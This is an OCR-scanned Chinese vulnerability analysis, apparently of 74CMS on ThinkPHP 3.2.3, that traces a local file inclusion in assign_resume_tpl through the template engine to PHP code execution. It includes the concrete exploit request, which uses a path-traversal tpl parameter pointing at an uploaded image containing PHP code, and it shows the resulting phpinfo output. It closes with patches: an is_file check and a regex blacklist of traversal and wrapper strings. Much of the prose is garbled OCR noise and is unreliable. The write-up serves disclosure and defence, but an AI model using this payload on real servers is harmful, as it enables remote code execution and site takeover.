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/Application/Common/Controller/BaseController.class.php YTtFE’\] assign_resume_tpl @é&jﬂﬁ?ﬁﬁ%;ﬂﬁ%, %é&?j‘%jﬁ;ﬁ
AN, IO T IR RS T .

0x01 Z1RE =
Bt CMS XKAMBER Thinkphp 1EZ42, AIHEMAZE 3.2.3, FA0E 3.2.3 89%5/E URL B0 T
http://serverName/index.php/iER/ {5528/ %/F

BI5+ CMS XANEE @R, BMESMN GET £ AU KIS Zanho) iR R(E, & DERNF¥F, WREIMNEZ /A
Home &R THY User 1ZHlIZSH A9 login A0 T

http://localhost/?m=home&c=user&a=1ogin&var=value
m SERTRR, ¢ ZEERRIEHE, a ZEETRRE / HA EENRTREM CGET 248

1, XESHErPIMER), NEASEEFIREN T

'VAR_MODULE' => 'module’', /) BONRRR T &S
'"VAR_CONTROLLER' => 'controller"', /S BN L
'"VAR_ACTION' => ‘'action’', /) BN RIEF I E

A AR HOLHBIE RIS AL T
http://localhost/?module=home&controller=user&action=1login&var=value

FEIXEERR A X N BRFAR B BN IZ NS T

0x02 iR

/\}ﬂ:ﬁfﬁ S\z1¢ . /Application/Common/Controller/BaseController.class.php [:F‘ E/\] assign_resume_tpl H}f :

public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {

$this->assign($key, $value);

}
return $this->fetch($tpl);

EANMTEE, B stpl TEWEE feten() AR, IRIIZTA

/ThinkPHP/Library/Think/View.class.php


http://www.74cms.com/news/show-2497.html

public function fetch($templateFile='",$content="",%prefix="") {
if(empty($content)) {
$templateFile =  $this->parseTemplate($templateFile);
S RRX A 7 B IR O]
if(lis_file($templateFile)) ECLC'_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
/S TEEF
ob_start();
ob_implicit_flush(@);
if("'php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // (Z/HPHPEEH
$_content =  $content;
S RIRIESNEE D R R 7S
extract($this->tVar, EXTR_OVERWRITE);
// BIEZEAPHPIER
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
S ERETIR
$params = array('var'=>$this->tVar,'file'=>$templateFile, 'content'=>$content, 'prefix'=>$prefix);
Hook: :1listen('view_parse',$params);
}
/S R EEE
$content = ob_get_clean();
/S B eI
Hook: :1listen('view_filter',$content);
S IR
return $content;

BAMEANNRIREZERNT, NRANT, BARESFIMESER T PHP RAERNR, HMEERENX

fhE /ThinkPHP/Conf/convention.php jﬂiﬂ% M 17

"TMPL_ENGINE_TYPE' => 'Think', /7 BUANRIRSIZ Y FREXHEHThinkZ1R5 | ZEE 3L
"TMPL_CACHFILE_SUFFIX' => ‘.php', /S BNRIRE TR
"TMPL_DENY_FUNC_LIST" => ‘'echo,exit’, /7 RIRS BRI
"TMPL_DENY_PHP' = false, // BNRIRS/IEESZHPHPIREL LT

pIAERIBE CMS BUABRINE Think 121k, BEILEFIBIFIHN T

$params = array('var'=>$this->tVar,'file'=>$templateFile, 'content'=>$content, 'prefix'=>$prefix);

Hook: :1listen('view_parse',$params);

j%fﬁ%)\é&éﬁ, #T%)\ Hook::listen() , ﬁ%ﬁﬁ view_parse 7f/]_'\§, é%éﬁﬁﬁﬂ /ThinkPHP/Library/Think/Hook.class.php , jﬂiﬂ%

80 17:



/**
* BTSSRI
* @aram string $tag EEH
* @aram mixed $params (Z)\Z%
* @return void
*/
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag]l)) {
if(APP_DEBUG) {
G($tag. 'Start');
trace('[ '.$tag.' ] --START--','',"INFO');
3
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '".$name."' [ RunTime:'.G($name.'_start',$name.'_end',6).'s 1',"'","INFO");
ks
if(false === $result) {
/7 B EIfalse TBiEAA T

return ;
3
ks
if(APP_DEBUG) { // 1CR77M8977 H i
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s 1',"","INFO");
ks
}
return;
}
/**

* WMITR I

* @param string $name JEIESH

* @param string $tag HEE (Insss)
* @param Mixed $params (Z)\F9ZZ

* @return void

*/
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
S AT R run A\ [ 75)%
$tag = 'run';
}
$addon = new $name(Q);

return $addon->$tag($params);

BRI D RRAL T view parse BF, ThinkPHP 23 % Hook::listen() /)5, ZHESET stags THERBHE
view_parse S1FHU A, MG foreach 1B stags B, HHIT Hook:iexec /7%.

Hook:exec 7555%?%@%5???9%3%?, Qﬂggﬁgég Behavior 9&@%%2, %BQ&)\[]?EEEQﬁZﬁiU run 755&, ﬁﬁﬁl?ﬁ run 735%5@%3§Q%£ﬂ%
}EH Hook::listen HT_HLE,CHEO Hook E)\]@BEEE /ThinkPHP/Mode/common.php EF‘, QD—F

/TR IREX

'tags' => array(

'app_init' => array(
'Behavior\BuildLiteBehavior', // 4plizi7LitexX1F

D,

'app_begin' => array(
'Behavior\ReadHtmlCacheBehavior', // 1EHIE4EE

D,

'app_end' => array(
'Behavior\ShowPageTraceBehavior', // IiETraceZ

D,

"view_parse' => array(
'Behavior\ParseTemplateBehavior', // EikiFEN Z#5PHP. AEEIRS|EHIE = H1ERS|IE

D,

"template_filter'=> array(
'Behavior\ContentReplaceBehavior', // & HE
),

'view_filter' => array(

TDAalhAvis A\ Wi AUEMTICA~ALAD AL AV AT J/ =)\ ER LT A=



PLUlivuv LU AN LLUliTultcuyulnicvoeiivuv Ll Yy 77 —J N7 /00N2RTT7

Ds
D

MBCEXHRILAEE] view parse M7 S ParseTemplateBehavior X1 2E, EINPTEITNY BRALESZE run H)A, PTAEL

THF'\%%E%E run E}%?@)ﬂbﬁﬂﬂ, /ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php 1/ ??EE .

class ParseTemplateBehavior {

S/ TR RAIAITN LN THE run
public function run(&$_data){
strtolower(CC'TMPL_ENGINE_TYPE'));
$_content empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] lempty($_data['prefix'])?$_data[ 'prefix']:C(' TMPL_CACHE_PREFIX');
if("think'==$engine){ // EKAHThinki&iz5/%
if((lempty($_data['content']) && $this->checkContentCache($_datal['content'],$_data['prefix']))
[l $this->checkCache($_data['file'],$_datal['prefix'])) {
/S EFBH
SN RIRE
Storage: :load(C('CACHE_PATH').$_data['prefix'].md5($_content).C(' TMPL_CACHFILE_SUFFIX'),$_data['var']);
telse{
$tpl = Think::instance('Think\\Template');
S GEH AR A
$tpl->fetch($_content,$_data['var'],$_data['prefix']);

$engine

ks
}elseq

S VB = RS | RN TR
if(strpos($engine, "\\'"')){

$class = $engine;
}else{

$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {

$tpl = new $class;

$tpl->fetch($_content,$_data['var']);
lelse { // Z£EREBEN
ECLC'_NOT_SUPPORT_").": ' . $class);

MACEERAE S —REATERES (BRI R E%EF) . AT feten() HIE:

$tpl = Think::instance('Think\\Template');
S IREH IR A
$tpl->fetch($_content,$_data['var'],$_data['prefix']);

Eﬁﬁﬁdi /ThinkPHP/Library/Think/Template.class.php 73 ??EE



/**

/**

* Rk

* @access public

* @param string $templatefile ERXF
* @param array S$templateVar EiRTE
* @aram string $prefix (EiRimREIZS

* @return void

*/
public function fetch($templateFile,$templateVar,$prefix="") {
$this->tvar = $templatevar;
$templateCacheFile =  $this->loadTemplate($templateFile,$prefix);

Storage: :load($templateCacheFile,$this->tVar,null, "tpl');

* EFIRIRHER
* @access public
* @aram string $templatefFile E 1+
* @aram string $prefix (EiRimREI%
* @return string
* @throws ThinkExecption
*/
public function loadTemplate ($templateFile,$prefix="") {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
7 EERIR X A B
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
/) IR X 15 E (T B 7 31

$tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

===k
if(CC'LAYOUT_ON")) {
if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // o/ 1FE X NEFH /5
$tmplContent = str_replace('{__NOLAYOUT__}',"',$tmplContent);
Yelse{ // B#FBENEAAE
$layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
VIR =N -4
if(lis_file($layoutFile)) {
ECLC'_TEMPLATE_NOT_EXIST_").":'.$layoutFile);
3
$tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));

}

/) GIERIRAE

$tmplContent = $this->compiler($tmplContent);
Storage: :put($tmplCacheFile,trim($tmplContent), "tpl');
return $tmplCacheFile;

ﬂlf/&%;ﬂtu fetch() E;fi%ﬂ%? loadTemplate 77_;2_‘,:\, ,\jﬁ}—E/E loadTemplate HEEP, StemplateFile %}imﬁuﬁifi\T StmplContent |,
=

??SEE%&EWW%SN, i&)\? compiler E/f, 'TZE|E|

/**

t;

/ThinkPHP/Library/Think/Template.class.php S{fi, E 120 {T?EE

* ERIR AN
* @access protected
* @param mixed $tmplContent EIRAZE
* @return string
*/
protected function compiler($tmplContent) {
SRR
$tmplContent = $this->parse($tmplContent);
/) DIRREHEAILT teral frze
$tmplContent = preg_replace_callback('/<!--###literal(\d+)###-->/1s', array($this, 'restorelLiteral'), $tmplConten

kv

$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>"'.%$tmplContent;
/S A AEIphp Ui

$tmplContent = str_replace('?><?php',"'",$tmplContent);

J/ AR UHE 4R MR N E A=A



/L IERTIX S A AL ey AL
Hook::listen('template_filter',$tmplContent);
return strip_whitespace($tmplContent); //strip_whitespacef#] 1 ZE&[FITIEHH95 FHLTE

BANRBRRABSRE T IEMEZEEIEE] stuplcontent TE

SREIR[E] 1loadTemplate 304, BERIEEINAVIZEE:

/S GEEIRAE
$tmplContent = $this->compiler($tmplContent);
Storage: :put($tmplCacheFile,trim($tmplContent), 'tpl');

return $tmplCacheFile;
BRIFFIEIR T EFAIE, AERBIEFINHS

R[OZ] fetch() 15, AJLAEBEZE] 1oadremplate 17 5IREINEF B IHNT

Storage::load(S$templateCacheFile,$this->tVar,null, 'tpl');

EEH@H}%, E /ThinkPHP/Library/Think/Storage/Driver/File.class.php , 69 '/fi'EE

Vit
* I0EsTH
* @access public
* @param string $filename X1{t5

* @aram array $vars (EA\T=

* @return void

*/

public function load($_filename,$vars=null){

if(Mis_null($vars)){
extract($vars, EXTR_OVERWRITE);

}

include $_filename;

AT FIfE, BiRHT T XHEE.

RXF—RENRERNREMREE T, 2B FAR:

/Application/Common/Controller/BaseController.class.php

Step1 B
/ThinkPHP/Library/Think/Hook.class.php /ThinkPHP/Library/Think/View.class.php ’..'
EUUPRILLLE -f:} -------- ( Hook::listen() } """"" {_j """"" fetch() aene
Step2

Step3

-
- Y

%, /ThinkPHP/Library/Think/Hook.class.php /ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php

-

Step4 Step5

ThinkPHP/Library/Think/Template.class.php

JPPETLE (\_‘) """" ( loadTemplate() )Step?

.
.
* ‘_-‘
-~
\

-~

/

-
- Y

/ThinkPHP/Library/Think/Template.class.php . s
P

.""-----( compiler() )"'” Step9 ( load() ) -

Step8 /ThinkPHP/Library/Think/Storage/Driver/File.class.php

-

.
.
+

IRRELTEES ( Hook:exec() ) """"" (;} """" ( run() ) """"""" "(\_\; ------------ .

ThinkPHP/Library/Think/Template.class.php
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v <div class="plist J_resumeimg_group" data-code="6" data-img="http://localhost/data/upload/resume_im
5fae95e469e05.png''>
v <div class="bg J_hoverbut"'=
v <div clas
<img src
</div>
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S0 NEPAR:

Encryption ~
@) Load URL
g Split URL

» Execute

System Linux ubuntu 5.3.0-62-generic #56~18.04.1-Ubuntu SMP Wed Jun 24 16:17:03 UTC 2020 x86_64
Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php/5.6/apache2

Loaded Configuration File /etc/php/5.6/apache2/php.ini

Scan this dir for additional .ini files /etc/php/5.6/apache2/conf.d

Additional .ini files parsed /etc/php/5.6/apache2/conf.d/10-mysqind.ini, /etc/php/5.6/apache2/conf.d/10-opcache.ini,

/etc/php/5.6/apache2/conf.d/10-pdo.ini, /etc/php/5.6/apache2/conf.d/15-xml.ini,
/etc/php/5.6/apache2/conf.d/20-calendar.ini, /etc/php/5.6/apache2/conf.d/20-ctype.ini,
/etc/php/5.6/apache2/conf.d/20—curl.ini, /etc/php/5.6/apache2/conf.d/20-dom.ini,
/etc/php/5.6/apache2/conf.d/20-exif.ini, /etc/php/5.6/apache2/conf.d/20-fileinfo.ini,
/etc/php/5.6/apache2/conf.d/20ftp.ini, /etc/php/5.6/apache2/conf.d/20~-gd.ini,
/etc/php/5.6/apache2/conf.d/20-gettext.ini, /etc/php/5.6/apache2/conf.d/20-iconv.ini,
/etc/php/5.6/apache2/conf.d/20-json.ini, /etc/php/5.6/apache2/conf.d/20-mbstring.ini,
/etc/php/5.6/apache2/conf.d/20-mcrypt.ini, /etc/php/5.6/apache2/conf.d/20-mysql.ini,
/etc/php/5.6/apache2/conf.d/20-mysgli.ini, /etc/php/5.6/apache2/conf.d/20-pdo_mysql.ini,

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar HackBar

Encoding~ SQL~ XSS~ LFl~ XXE~ Other~ Contri

http://192.168.159.208/index.php?m=home&a=assign_resume_tpl

Postdata (] Referer [] User Agent (] Cookies Clear All

variable=18&tpl=../../../../var/www/html|/data/upload/resume_img/2011/13/5fae95e469e05.jpg

BERE—RNE, BI LENDTIIFIAAE, ERIMERIONR, ~NEMTREN PHP (15, EILtNRERSE4 PHP
2 ITENBAINN, DMEEEE T CMS R IR, I UABEEIT A —PRE&EMNR, AREH —51E80F,

QD - /Application/Home/View/tpl company/default/com jobs list.html

<gscms : company_show 7F&#="info" lid="$_GET['id"']"/>




*com_jobs_list.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/
xhtml1i-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<hgad
<qscms:company_show FFEH="info" {Bkid="$ GET['id']"/>
=include file="public:meta" /=
<link href="{:C('TPL_PUBLIC DIR'})}/css/common.css" rel="stylesheet" type="text/css" />
<link href="{:C('TPL_PUBLIC DIR')}/css/common_ajax_dialog.css" rel="stylesheet" type="text/
css" [=
<link href="{:C('TPL_COMPANY DIR')}/default/css/jobs.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://api.map.baidu.com/api?
v=2.08&ak={:C('gscms_map_ak')}"></script>

<!-- <script src="../default/public/js/jquery.common.js" type="text/javascript"
language="javascript"=</script> --=
</head=
<body=

<include file="public:header other" />
=div class="new-se-group"=
<div class="new-se-main">
=div class="comshow_new"=
<div class="comlogo"=>
<img src="{$Sinfo['logo']}"=>
<fdiv=>

=div class="cominfo"=
=div class="cname"=
{Sinfo['companyname']}
<if condition="$info['audit'] eq 1"><img

src="{:attach('auth.png', 'resource')}" title="JAMEEN"></if>

L = _—— - a LI RC_ SN = | [ R ——— R | —_a L 2

FItt&EANE R SR ENNENIZE

<?php phpinfo(Q); 7>
<gscms : company_show 7|&#="info" id="$_GET['id']"/>

Bo—8, Bt CMS WFER HEEEITRN, FNEELOIRIG, B UBTHER, SRR IAZE F1E docx IEE
MBI, ST ESNERSEEEINN

0x04 JRiAEE

BARARATEENHE, W

BaseController.class.php SUCFEP 169 ?ﬁ' assign_resume_tpl Hiz_EEP%E\j]D%“ZKﬁ

$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(lis_file($tpl_file)d{

return false;

3
A2
PR42:  /ThinkPHP/Library/Think/View.class.php ,  View.class.php S TEF 106 1T feteh FEFMEN, & 110 17
if(lis_file($templateFile)) ECLC'_TEMPLATE_NOT_EXIST_').':'.$templateFile);
(AREMEF=S= iy

if(lis_file($templateFile)) ECLC'_TEMPLATE_NOT_EXIST_'))

BESXMEEHIVERB MR, MK UHRTH<S, W NERR:
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T A TR2 | 192.168.159.208/index.php?m=home&a=assign_resume_tpl

#

System

Linux ubuntu 5.

Server API

Apache 2.0 Hal

Virtual Directory Support

disabled

Configuration File (php.ini) Path

Loaded Configuration File

Scan this dir for additional .ini files

Additional .ini files parsed

its Console Sources Network Performance Memory

Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

http://192.168.159.208/index.php?m=home&a=assign_resume_tpl

Post data (] Referer (] User Agent (] Cookies

variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e

Clear All

Application

XER AR

INKEE=]

B

] kS N [+ 8 | QO W= S | & E K

|%] phpwek

E' Text Editor v

if(C(s1)==1){
if(Stype_num==0){

return 1;
Jelse{
if(session('?'.$session_name) &&|
return 1;
}Jelse{
return 0;
}
}
}else{
return 0;
}
}
/**

* JEREHIER
*
public function assign_resume_tpl(Svariable,
foreach (Svariable as Skey => Svalue) {
Sthis-»assign(Skey,Svalue);

J

Sview = new \Think\View;

Stpl_file = Sview->parseTemplate(Stpl);
if(!is_file(Stpl_file)){

return false;

return Sthis->fetch($tpl);

BaseController.class.php S\(T/—-F EF‘ assign resume_ tpl Hff ‘:F‘ ?ﬁj]l] i}EU Hé)'/[

$pattern = "\.\/IN.\.\/I|:1%001%0al=|~@|filelphp|filterl|resource";

if(preg_match("/".$pattern."/is",$tpl)== 1){

return $this->_empty(Q;

LINNZi

f**

* JEREHIRR
*/

public function assign_resume_tpl(Svariable,Stpl){
foreach (Svariable as Skey => Svalue) {
Sthis-»assign(Skey,Svalue);

1

Spattern =

BATAVARTAPAV

=
"

if(preg_match("/".Spattern."/is",5tpl)== 1){
return Sthis-> empty();

1

return Sthis->fetch(Stpl);

FUARATE S, RIMBEKRNT

Open~

Fri 19:20

&

header('Cache-control: '.C('HTTP_CACFH
header('X-Powered-By:QSCMS');
/1 RS

echo Scontent;

}
/**
* BATHREUEIRAS AT
* @access public
* @param string StemplateFile RARSZ{FE
* @param string Scontent BiRiGHEAR
* @param string Sprefix IBIRETFHISE

* @return st ring|
*

public function fetch(StemplateFile="'",5¢
if(empty(Scontent)) {
StemplateFile = Sthis->parsel

/1 BARX G R FEERRE]

/1 W‘W
if(!is_file(StemplateFile))

Jelse{
defined('THEME_PATH') or defir
}

// TEEF

ob_start();

ob_implicit_flush(0);

if('php' == strtolower(C('TMPL_ENGINE
$_content = Scontent;
/1 EREFEESRRAIRIITE
extract(Sthis-=tvar, EXTR_OVERWRI
11 EIEE A pupiEin

%00 |%0a|=|~|@|file|php|filter|resource”;
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